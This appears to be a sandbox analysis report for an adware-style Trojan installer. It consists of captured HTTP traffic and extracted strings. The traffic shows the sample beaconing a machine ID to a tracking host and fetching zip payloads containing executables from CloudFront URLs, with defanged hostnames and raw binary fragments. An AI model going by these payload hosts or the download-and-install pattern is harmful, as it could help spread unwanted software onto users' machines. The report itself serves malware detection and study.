X-Powered-By: PHP/5.3.3

xa-api-version: v4

Content-Encoding: gzip

57.............V*.I,)V.R..V.Q*..M....,..r......... .....T.C......<............T..Z.4vf.H.....0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 13 Sep 2015 21:50:53 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4..Content-Encoding: gzip..57.............V*.I,)V.R..V.Q*..M....,..r......... .....T.C......<............T..Z.4vf.H.....0..

GET /css?family=Open Sans:300,400,700&subset=latin,cyrillic-ext,greek-ext,cyrillic,greek,vietnamese,latin-ext HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/xKPQyH

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Expires: Sun, 13 Sep 2015 21:50:34 GMT

Date: Sun, 13 Sep 2015 21:50:34 GMT

Cache-Control: private, max-age=86400

Content-Length: 165

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. src: url(hXXp://fonts.gstatic.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Access-Control-Allow-Origin: *..Timing-Allow-Origin: *..Expires: Sun, 13 Sep 2015 21:50:34 GMT..Date: Sun, 13 Sep 2015 21:50:34 GMT..Cache-Control: private, max-age=86400..Content-Length: 165..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X-XSS-Protection: 1; mode=block..Server: GSE..@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. src: url(hXXp://fonts.gstatic.com/s/opensans/v13/4fu8RBPDDCYpod03lr_bYQ.eot);.}...

GET /4760/1 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dqoup4b5zs0bi.cloudfront.net

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Sun, 13 Sep 2015 21:56:30 GMT

Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vf-7dWVUzfL2hscwRtpamNVP1hjlAvz4B3uwaS2Q81JeKf5Mystp5w==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Length: 0..Connection: keep-alive..Date: Sun, 13 Sep 2015 21:56:30 GMT..Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip..Server: nginx..X-Cache: Miss from cloudfront..Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)..X-Amz-Cf-Id: vf-7dWVUzfL2hscwRtpamNVP1hjlAvz4B3uwaS2Q81JeKf5Mystp5w==......

GET /4760/2 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dqoup4b5zs0bi.cloudfront.net

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Sun, 13 Sep 2015 21:57:11 GMT

Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DeE9WkEDQ6fz2iV8WQjSTGwlsd5rB0XPnlzPN_yPssRfzlpkhx5kug==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Length: 0..Connection: keep-alive..Date: Sun, 13 Sep 2015 21:57:11 GMT..Location: hXXp://d1eqq89si3cuqg.cloudfront.net/r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip..Server: nginx..X-Cache: Miss from cloudfront..Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)..X-Amz-Cf-Id: DeE9WkEDQ6fz2iV8WQjSTGwlsd5rB0XPnlzPN_yPssRfzlpkhx5kug==..

GET /install.gif?bundle=istartsurf&ptid=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Sun, 13 Sep 2015 21:50:33 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 693

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<h1>404 Not Found</h1>..<p>The requested URL was not found on this server. Sorry for the inconvenience.<br/>..Please report this message and include the following information to us.<br/>..Thank you very much!</p>..<table>..<tr>..<td>URL:</td>..<td>hXXp://log.very911.com:8080/install.gif?bundle=istartsurf&ptid=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001</td>..</tr>..<tr>..<td>Server:</td>..<td>us-pub00.v9.com</td>..</tr>..<tr>..<td>Date:</td>..<td>2015/09/13 16:50:33</td>..</tr>..</table>..<hr/>Powered by Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Server: Tengine/1.2.2..Date: Sun, 13 Sep 2015 21:50:33 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 693..Connection: keep-alive..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<h1>404 Not Found</h1>..<p>The requested URL was not found on this server. Sorry for the inconvenience.<br/>..Please report this message and include the following information to us.<br/>..Thank you very much!</p>..<table>..<tr>..<td>UR

<<< skipped >>>

GET /ftpup/vres/v2/images/22find/images/loading.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.istartsurf.com/?type=hp&ts=1442181046&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=pcm&uid=VMwareXVirtualXIDEXHardXDrive_00000000000000000001

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.thanksearch.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Sat, 16 Aug 2014 11:35:41 GMT

Server: Tengine

Content-Type: image/gif

Content-Length: 1787

Accept-Ranges: bytes

Cache-Control: max-age=31104000

Date: Sun, 13 Sep 2015 21:50:46 GMT

Connection: keep-alive

GIF89a . ............................444...............TTT...!..NETSCAPE2.0.....!.......,.... . ......I)K....JJ5....U.RK....(..&...05 /.mbp.z...1...;$.1C....I*..HCh`A.o..."3qT5.\.8a....B....d..wxG=Y..g...wHb..v.A=.0.V\.\.;........;...H.........0..t%.Hs..rY<H...........b..Z.b.OEg:...GY]..=.A.OQ.s....\b.h.9.=sg...c..e....*....f.7D..!.......,..........r..I..5........bRH.h.W...*lkL&-)..1-..v.m...).....M..t.\.....Rd..A..H..... .......o............................Gz{..!.......,..........r..Ig@5...rY.M.Q!(.(.(..8.........J..Kb..r....3.h..K!..6..3u`.&.D.A..z.fL.Z*..^`n.F.....O..ssyJ}T....N.aqXshC..XJ...!.......,..........i....Y4.......Cv....A.M.A."....J..j..A'.0T....*.b..JI.I..ZF..P.MM...s.bg.qV$........v.!...5....?}..........!.......,..........ep....80....#^.q..X....[..(\.-......S..@ P....0". ....L......z...xL....*Z....._..H......D..eU..ywZt.n..!.......,.....................A.2.W..E.&j.....B.&..w~.6..b8....p`4r|.F...M.>.......,bLv|?.4B.v......P..u.9.. .&..2..x&...k..&...U]..vo...o..p..raT&..!.......,..........{.........'..e.7......\l.-).S7@.&..4. `.yT.SL.\:=.....J..k...:......;.e....8.c.A.8O.j@b/. :.{..ty....t#....|.....-...mN..qK..!.......,..........l..I .8.b....y ..h..*....Zp=.....3...`.....C....`B.".p..X..9bP...B.`Z=.....8.>.u,.S..t"..O..T\um.|.;....8.~*..!.......,..........x..I.......A.]G...e..AP.b.)..."!s...... .B..I..........V...5q(.(.X2=.,.I.........n#&..A....Vq5t..sn.y\)_.....g......|r.5..!.......,..........g..D .8.[{.`&y_h..I.).(L.". gN.8..l5.."....L..A ...%@%..O@..8.N.gL ............p.us/.j...j.Vj..

<<< skipped >>>

GET /010914s/010914i.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:05 GMT

Content-Type: text/html

Last-Modified: Fri, 11 Sep 2015 19:22:07 GMT

Transfer-Encoding: chunked

Connection: keep-alive

CC: UA

Content-Encoding: gzip

83b...............n.6.y....L...,.v. .....u.&3..i@K...$..m'............b...Lf.........t......w...DK.G.Z_..}.%..Z..v.g...7~....v:..^.X....N1.....&...z`].D.D...Rb.@..,A..#..P..<#b@3f...:.k!. *.,.-.r....f......2.8\..L...qDC,.u........t...>..d.|C.........>..L<D...9.4.2...l.6c...TC.o.........X.x...U.^.s...y..S.....N..M..ft..f.@.Q..5T....yA1........j.....`i.............s...........b.....JYF.eI.q.aA...64...j...%......S...'.z...'t...!....S...[...i<.X..@z .!w.....r.............I..8.i..*Y.R..=../mC. @._.nQ...P.......4z..8....7.C...R.2.'."..,...\.3..=tL..x\!n![KbU....V....m..6%P..~.KT..\.....@.t%@..#....i...#%......CV;.....L.:L...J!v..:}].^..?[.g..l.......f....H`8m9.^.iG..U..H..T.6U.j...x....M'..|........#I.>.$.....%:...4...y.W...YD.0.@O.f-.n.6...x...]..Q/.x..S.2.-..k...x...Q...t......f..TOW:...=v"^U'..Z...;...V.F...Er....B}..l......s..Q.|tg..oFr!d..l)..!...I.\..*.*.G\....r.%..3.HUx.YB<..s...zO..H.....^.rj/...^..C.}..........._R.Ur..&wHLoi..Z..&.G4........n....-.w3n.WI.[1.U$xJ..-..4.o.3'.~........$y...@.<.P.X..t"W.~. .f]D.......8..S.a>;ClM.<b.....aH...$.....m....D...f..&e,...........`..*...Z.....d`.0.$......O.",@.|k..q.,.........K....|..P$..n.}?.........^..........)...z..>..(....0.%........tn..5.V>..X-.v......}B..E...r........(@.T.G.].H....j..)I...[.\5J.;) *...no..&........B?aF].....Ip$-.7{..M....-...#.......]^.s...htqyw......#.h.{..5.y ^.!8.c....ed....".....~.....R.0.....Fu....r. ...........S.B........s..rF.&W...5.^.O...d..P[...gS......7...H,....s..s...1...."........>W.B.X:....ftF#*.

<<< skipped >>>

GET /010914s/icone_cadeado.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:05 GMT

Content-Type: image/gif

Content-Length: 2256

Last-Modified: Fri, 11 Sep 2015 00:43:55 GMT

Connection: keep-alive

Expires: Tue, 13 Oct 2015 21:48:05 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes

GIF89a(.2....aH........z......i........r........X..7.......................8.. .....x..g.................?.....7..E.....n....f...^..$..H..............[........2...........:...........z.......m...W..l.................... ...................\........h..h4.p......*...........4.............. ..............u.....3........K....{(.....(...........#.....i..J..b..........m........o.....................N.................l.....#................c.................|..........I0............>....{.........N.|=.m$..........w(..E.......L...[.s.%...a..g*..........v...3.s........~..o .......................=..>....m...Z.....x...........1........g........d......9*..............._....................z..t..}........L..Y..B.....J..&.....0......................z>.. .q ...........E.|.............!.......,....(.2........H..?;2n}.....|....H.....S...1..9),...F.-.(7&..b.K...u..1...vn.z)RF....5.!..B!...L...-.........d.6.h.....2..h.&.?.1.&... .X1r..!D..da..t;0.7|s...*.lH.....U...........?.......p....HK..r...jp...(e.........y.c.........mT.d$q.. (....G.d..P...S..)f..D........Td.;tw.`!...#..C a.....0..z....Z..r..V.0.1.x3.?....(.6..l..C..y8"..N...=.L1B'....._....3|@.6#...8.(`......,.....;@QB#..BL..$.d7.L0..A...:60..8.|@...l0........hA...<"..I......R..tt.O.'.aH..).%!...@.Gx.........(..3W....0xP.$".P.............X`*.......^.J....!. ........G..t..........j...<.."..A.......i.QJ.......jI\l.Zp....k..........-.R....Yd.J.........n.?..H....D..DAo..jB_vJ.z.%................'lF.......R...]d..".*;0"H.`....@r... .@d@...C.mt.......dp.....3.=k..@

<<< skipped >>>

GET /010914s/mobi.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:05 GMT

Content-Type: application/x-javascript

Last-Modified: Fri, 11 Sep 2015 19:25:26 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Tue, 13 Oct 2015 21:48:05 GMT

Cache-Control: max-age=2592000

CC: UA

Content-Encoding: gzip

8ca.............Z.n.H.}..EG....H...8.....nb.cO^6..&[V.$...d..?f...]`~`^.cS.w.."....CS...[WWUWK..~t.......%..g...7#.iU.m...6.....y.Fll....{.MK.S..A.......W..q..sg_.....|s.M...i6..aO....Qt@1.e..-... ..J5...AX..R{.[......#-..A.........!.mF_.Q.V#.CVK2zss.HYl..yl^S...t....'n........U!....*....5.!].Y.aY'..t.mn.GV...A......>n.z~..>..W.8...oX<w..w.?..q#.....6.y...Y).jC..U.X.S..j..*...5.;.:...yb.P.....4./-.....MV.iu..0..a...#v....l.}.......D....PE.v2.1...g,.....l.S..a...t.{..p...p..q.........X.......mU!..t6....@..B.Auss.h..t.._>..yg.tvw.ZeU..`..yw.%D..p.w.13....W.K..........j.Ly..6w/...........,.0..Q*=..yA....t.....|.y.{.....:..SZ.......bJ.^s.......6......Y...t..0..QLjG.-sX]y.O<....s...w.Rd...).?2...t.<N.Z..Q2...Mv......I...M..V.X.%.........%.m....t.t.l........R..p..m..1..h....t......t...H. ].t...H. ]........6......m........z....@..........>........>F...... ....2.....@5....C...<....C...<..0.....e....E..$&...7..h........gH7(..LM.&........'G.|>.|B.........J...S........X.L.I1.z..........Z.:7..E..c......_..B|..;.^R-.ur........qVE....8.eq..J._Y.q;.._rC)..i.A`....%x......brH..t)..|:FT.YL..H.\|z........5H...T.".8 .,....^p."3...I...y..s.....bdk.Y.....4.1.(V..-o.....G...r.}C,..t...Na..t.Tv.E.<..w..@. g.s......Xf.zu.:.}~.T.2.4.....l.....mN.......vK.jg..7.............9....%t..W..K(............if`../O[..i.i.L.8....g.'$jD..EN....HF.......7_...99,...V._A.<O......b.P<<a..r.T.......Ky.5MiI...... ^.. ..X..:|.............../..3..!"...Vq..S.... .>G......GV..E.rX...H...?..KF..3.. ...5.O....

<<< skipped >>>

GET /010914s/carregando.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:08 GMT

Content-Type: image/gif

Content-Length: 4176

Last-Modified: Fri, 11 Sep 2015 00:43:55 GMT

Connection: keep-alive

Expires: Tue, 13 Oct 2015 21:48:08 GMT

Cache-Control: max-age=2592000

CC: UA

Accept-Ranges: bytes

GIF89a . ........{...........................l..D..N..............L.}...........................6...........z..<..(..,.....v.....".....V........ ....................&........>.....t.................0........B.................Z..$.....~..r..............|.....h..j........`........x........X..2.................*..b..^.....p...........................................................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,.... . ......................)...).4.)...3....*.5..A..9@..... ..&.....<........ ........)KFN....!.......%....."..!'.........,..D......#..6...`xU....-T......A. d .......1.. ...._.r`...A......Q.'.L.pH`A....Q0BKA....1.......F..`...c.pdld......(.`b.....R.p"...a.=xa!./{..6...B...?6.%b..Ru$`..2$....6dC..E.c!F(C.A.S.%hE.......@.. ...$'rbP..I.)D.v.........(....wFj..2....3>X.p@..cF<.:..I....T.....#.JD'.7....-.MK...%&...`...@.!.......,.... . ............TT).......I((K/.....4F....F......K....I........AFL..FA.....(.XMDF..%....$..:(NI..........<....<(0.6[C..I...B!.$.EZ..3...Q.8.$..8V r`B."..o.n.)....O.`0..L..'."(H..c#.....B..?..081....[0........' .B......~` A....FB(......M;z.".D<......bC....t1J...'U.j......!....$.......u.......8.{e..#Q........%.UP.N..(N.....D.&.....$s..`G...eJ&.8D0.. A.....).....K.j..E....<H1."..B.j.:...N.<z...c..! @..b.c..!sP...H.......!.......,.... . ..................E]A......K.5F#.....O ..%@-............>@L..:...D.8'....N.[.<.-\..Q.'["&../_...%%:..M...O..%...T...:.&9A*G.,.N.&......J.......T.`.......s....B.Np.!...'..(.....

<<< skipped >>>

GET /010914s/extreme.html HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/010914i.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.trackpixl.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Sun, 13 Sep 2015 21:48:08 GMT

Content-Type: text/html

Content-Length: 86

Last-Modified: Fri, 28 Aug 2015 16:16:00 GMT

Connection: keep-alive

CC: UA

Accept-Ranges: bytes

GET /static/0053.urlshortener.js HTTP/1.1

Accept: */*

Referer: hXXp://goo.gl/xKPQyH

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: goo.gl

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Tue, 13 Oct 2015 15:30:17 GMT

Date: Sun, 13 Sep 2015 15:30:17 GMT

Last-Modified: Thu, 10 Sep 2015 18:26:21 GMT

Content-Type: text/javascript

Content-Encoding: gzip

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Content-Length: 26148

Age: 22816

Cache-Control: public, max-age=2592000

............i{.8.0.=..Q;.T....3S ...M..Y.&..^.D.n..K....?........y.s.^31...I..H.|d..c>....__..t..n.w...?nv..............?...f.....6l.....}.....Q;.}..........c..?.X=.r.ov.7f..O..z^,...f37p~..p...X..?..2~0.y..y.].......vG.....\.....q?.#j.z-.l...div:..purlfj..zd.Q....2.~.:.....A.3...^.Tw.....4[.!"....f..x'.6LP..]...S..T._.M,h...4.C[.l...n.|.?..r......!..G..[.n.rG..v;!.Z........g.. .l..!K.....vy.F-H.C......=L.....o(....o#....mw.....%.Y........|.........rw.;..a.{.P9.....Q|]5...............Z.!a......p....y.;.r?1..g.=..=.>.=......{..V...:.0...a.N.y|0`........L ~...#@....`F.-...l..j.p.H^@D..c....>.". ,..C.=.b.^......eS..P....a.....`......#.1...,.wC`G........g...Ad...`.abA...M..V....Og.g.y~...6.k..Q.v.P.....m....!.Ez..C...E....AP.@4F...X.....a.vE.&dcA..M.!J.^>..c....K..-h.Jm....)$.v...Z..e$Eu......qBc...z.....S..n.H.!@R;..y... ..h.....,..:P.;..A0................0xm3=o...(WZ.}6uGf..f....9.Y...m.h9n..{a.Tovr.d.......dB?....<.;.L3..9..T_Y......f<...s.E.0.....x..*.....P....}4.{..3.%]Q.......Z<......e?..u'.....<'{.S=......k.u9..Of..@@..$..s..z..-....X-....f.&T'.l.sDM..e..f3.*C..D....z.g.v\..TMM...J x....X.A&....k2.:....B.......f.G.r...^L:d...L.[..3.8...,.......>U.MA]...kj....j.qF4t&..L..Y.l/.T.l...9.dc}.)........$......yj....h...g..g.v.\..Sw..` ......m....6:M6n...c6nIO.l.R...d.Ts....2.Vw0....f.......o[.s.fgss...{._r..z..gr.T............r.,......h......Xf...._.c..Z.....E......eb.........o N....Q|q.!....n..0.@...y..<F..........?$$vq.....'0.....$.....s..XNu?.|..2.X..Y. ...<...K/tS..n...sC.....l.

<<< skipped >>>

GET /r3/4760_a1743d7d7fb7798a12d6b42db36c96e3/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: d1eqq89si3cuqg.cloudfront.net

HTTP/1.1 200 OK

Content-Type: application/zip

Content-Length: 1139022

Connection: keep-alive

Date: Sun, 13 Sep 2015 21:50:14 GMT

Last-Modified: Fri, 11 Sep 2015 09:31:32 GMT

ETag: "58d998e52b3f49edce6beb894244fef6"

Accept-Ranges: bytes

Server: AmazonS3

X-Cache: Miss from cloudfront

Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZGb4_0ozQsz23ndrks3Laz4bP7eDFuA5vZ-KQDk1HbkvMuz9jWGDYg==

PK.........*)G..).............645.json.4-t..M[".w........?>..c.......U......s......z...,.....oz.t.{......j.."d.;..K..|...'.r.}.|.G......%.........I...5.N.....'..W.....t..7a|j]e.uz6......W.H..r.p...........sl...vY.x..M...K...m693.....Q.....w4....k;q....c.V......<.jOn..`Y.qm..]..........yq.#D.D.l..C..u{'.8.....T7]zI..{.......WQ.*z|....e..l..v.....c..:g....'..b.q~..wH.=U~.Y.{.....7.N....T.s.4.L..s..6q..f_...nY...2.R....N....>.....J.@....~2.L.i[ .....0E..*...._.....:.....0q.. .....L.Y..=.{...d.i..sq.sLx.Y..7S....#.C.er...Q..6..7.O5M...PK.........*)GS3B.............uninstallDlg2.xml../(...S.K.M.U*../*I.-Q....PK..........(G.....5..8.......QQBrowser.exe..uTU_.8..s8twJ#).....H7.......J."*..t....% (......x.......{.....{.5.\k.9....a...S.$..` ...P........:.84.8@5...:...:=.G/Z.Ow{O WZk 77wo.....>n..n.r.....6........0.y.K..t./ ....oZ.A...e....>x..O3H~.B.o...7-.....q.v@....j......0.......@!..t. .;}..\.9x.....k..y.....1...-..... Y*.f........*.....A@9.!..V .05...p.S...R../\ ....2....7........f.....KNO. o .....;..........o6......2...._.....5.GWPg.#.......uq..Q`.m....<...d...........I.....j..../..k`...w )......;6..{s7i...............^......NR.1 .p.!.....>Q.4i....~...<8.mCA....^].`L.Z...W..u......&H..e......II..:.......A<_.T....9...u?|...t...s.. A.-...WK...p..p......N.....(6..R....F].oDd.z.....@i..Z7.....F..'N.[../..Gx.$.m.pZ...o4a7a.o.N...YZZ..Xt.....@...%...K.....b....24.fI.AK..........{........zc...KK i.f_..UY.1.........oa..nb..Cl.6n-...L<E<.]...o......m.0.j..D;.~ouC..3.(..o2...M.2.{S....D".&gt

<<< skipped >>>

GET /r3/4760_49a0786cf7e697e4a7b97ce3c2053d62/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: d1eqq89si3cuqg.cloudfront.net

HTTP/1.1 200 OK

Content-Type: application/zip

Content-Length: 993251

Connection: keep-alive

Date: Sun, 13 Sep 2015 21:50:55 GMT

Last-Modified: Fri, 11 Sep 2015 09:29:15 GMT

ETag: "c4d67fe4f84be359fd340d6b85b973c8"

Accept-Ranges: bytes

Server: AmazonS3

X-Cache: Miss from cloudfront

Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)

X-Amz-Cf-Id: c2Eaz0kgwBzTARk65VgJI7MSn5M1U4x_Y165P1cyj5UgLnYEuDZKsg==

PK.........*)G^7..............645.dbKY.....)Ch.9..3..O.T..w.]....[....,,..m...Z....AW....5.*..}V.m..e.k.........._.....2..Y...v2#.......).Z.kz.^.-H}.3m....o{w]....S=...Q.#.;..<...ZTU1...N..I...S'U...<..Z....r.e.u,.:x.....0..F.....%..5.fF.0.06..?.4....PK........./(G..}..y..........wpm_v20.0.0.2301.exe..S.%O....m....mwO..m[...i...m...y....q..n........r.Z...\.%r.....B.C.|.n.<v..u.A.i.....X.;.@A6.~L....8....!. F..,.~L....._.@d..m.g..Zr:q_........n<..J.>;....W....i$)f..^.{d.,.d.O...6...AN@I..v,G`M@..9p!'.fV...=..J.....~e:y.w6.)|.F..Vf@3'.>.Q.. ..z...............`.C.b*.o...K...w....#....#?o...Z.W.Mw 8....D.iK:OV.J.b.....0..|...F.....WYf....1.RWO.Ui...-..........<m7.....KD.=G-.}.T....n......S..9....R......)......H......L........ra..9....[..(}..` *..d......&.=.\$W...{.r...t...OS..A.3..T.a^/)...r...I..xd..o.....4..]........{ N/.y...X.\KH.{...0.....C}.d.u..02...v..?..n.j...}........x$...K.Pz.5......]l.K..[.....~..`.......o........W(..v..v"...!.K.zx.r..%..i.f.#...o..'........S.m..Z@.......W.......?`...FfAMx.xH...H.......K..5...Am..z......eU....j.&)..BJ..7.....?.!...V....f...`.n..-Z......f.z./.2&.1......t.j........}o...I.s.A..MA.E.K...F.UB.......Y1<..*..R.2..Yl....{....J2@...*.j.*.M...%.dZ`....s.UY...[.y1.B-%./.5i..>U.'..G.X..L...H....8..Ku!. ..........B.tk&.fw....j.!..t..L.H...(..i.?1..zC.<@n.J|J....W....eT..T.A1Xza=1B.f.....F....|01....Q.L......7m.f.@.M?d.^M:.....<~;d'...QPk.X....9;..zPv.S....a.6Dw...N....Q..^...]m.~....obl.%. ]..1Xv....gt..Q..Vh.?......6q|..'.m..W...........k........$.J

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_872:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|/":

ShowWebInPopUp

\LOCALS~1\Temp\nsq3.tmp\nsWeb.dll

rJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp.exe

xkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq3.tmp\nsWeb.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq3.tmp

MSHTML.DLL

1 1$1(1,1014181

9.uGAAf

t%SSj

GetWindowsDirectoryW

RegEnumKeyExW

RegEnumKeyExA

RegCreateKeyExW

RegOpenKeyExW

RegDeleteKeyW

registry.dll

_CopyKey

_CreateKey

_DeleteKey

_DeleteKeyEmpty

_KeyExists

_MoveKey

_RestoreKey

_SaveKey

@.reloc

n%D,3

GetProcessHeap

OLEAUT32.dll

CreateURLMoniker

urlmon.dll

WININET.dll

nsWeb.dll

ShowWebInPage

a%uNrL

.pA.`s

-jZ}5

nsq3.tmp

:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq3.tmp

